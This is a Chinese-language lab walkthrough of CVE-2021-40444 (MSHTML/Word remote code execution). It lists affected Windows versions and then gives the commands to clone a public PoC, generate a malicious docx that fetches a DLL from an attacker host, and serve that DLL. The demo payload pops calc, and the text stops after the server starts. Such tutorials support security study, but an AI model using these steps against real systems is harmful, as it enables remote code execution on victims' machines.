这个CVE-2021-40444漏洞是在2021年9月8日，微软发布安全通告披露了Microsoft MSHTML远程代码执行漏洞，

恶意 docx 生成器利用 CVE-2021-40444（Microsoft Office Word 远程代码执行）

参考的docx文件样本为938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52

影响范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 32-bit Systems Service Pack 2
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 32-bit Systems Service Pack 1
Windows 10 for x64-based Systems
Windows 10 32-bit Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 32-bit Systems
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 32-bit Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 32-bit Systems

环境

攻击者：kali linux IP: 192.168.216.58 你需要先安装lcab sudo apt-get install lcab

靶场：Windows IP：192.168.216.148

漏洞利用

下载恶意 docx 生成器

1
git clone https://github.com/lockedbyte/CVE-2021-40444.git

image-20211104163605397

首先生成一个给定 DLL 的恶意 docx 文档，您可以使用从调用中test/calc.dll弹出 a 的那个，DLL会通过用system()来执行calc.exe

1
2
cd CVE-2021-40444
sudo python3 exploit.py generate test/calc.dll http://kali的ip

image-20211104163651640

这个文件生成到了out/目录里面

启动服务器

1
sudo python3 exploit.py host 80

image-20211104163705334